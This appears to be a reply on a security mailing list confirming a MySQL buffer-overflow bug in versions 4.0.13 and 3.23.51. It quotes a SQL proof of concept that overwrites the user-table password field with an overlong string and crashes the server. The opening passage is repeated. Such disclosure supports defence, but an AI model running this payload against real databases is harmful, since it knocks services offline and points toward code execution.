managed to replicate on 4.0.13 (custom made) running on slack8.1 with
mysql.mysql.
3.23.51 (the distro mysql version) also proved vulnerable.
nb: just make sure you have a backup copy of your mysql db when testing this
harmless proof of concept on your production server :-)
> successful exploitation of that bug is trivial on some platforms. On most
> Linux systems the return address needs about 444 bytes to get overwritten.
>
> Harmless proof of concept :
> > USE mysql;
> > ALTER TABLE User CHANGE COLUMN Password Password LONGTEXT;
> > UPDATE User SET Password =
>
> '12345678123456781234567812345678123456781234567812345678123456781234567
8
> 123456781234567812345678123456781234567812345678123456781234567812345678
managed to replicate on 4.0.13 (custom made) running on slack8.1 with
mysql.mysql.
3.23.51 (the distro mysql version) also proved vulnerable.
nb: just make sure you have a backup copy of your mysql db when testing this
harmless proof of concept on your production server :-)
> successful exploitation of that bug is trivial on some platforms. On most
> Linux systems the return address needs about 444 bytes to get overwritten.
>
> Harmless proof of concept :
> > USE mysql;
> > ALTER TABLE User CHANGE COLUMN Password Password LONGTEXT;
> > UPDATE User SET Password =
>
> '12345678123456781234567812345678123456781234567812345678123456781234567
8
> 123456781234567812345678123456781234567812345678123456781234567812345678
> 123456781234567812345678123456781234567812345678123456781234567812345678
> 12345678123456781234567812345678...' WHERE User = 'abcd';
>
> > FLUSH PRIVILEGES;
>
> [Connection lost]
--
"Talk is cheap because supply always exceeds demand."
-- source unknown
+------------------------------------------------------+
| Konstantin Tsolov ktsolov at etel dot bg |
| Systems Administrator - VoIP |
| eTel Ltd. www.etel.bg |
| Sofia, Bulgaria |
+------------------------------------------------------+
[ reply ]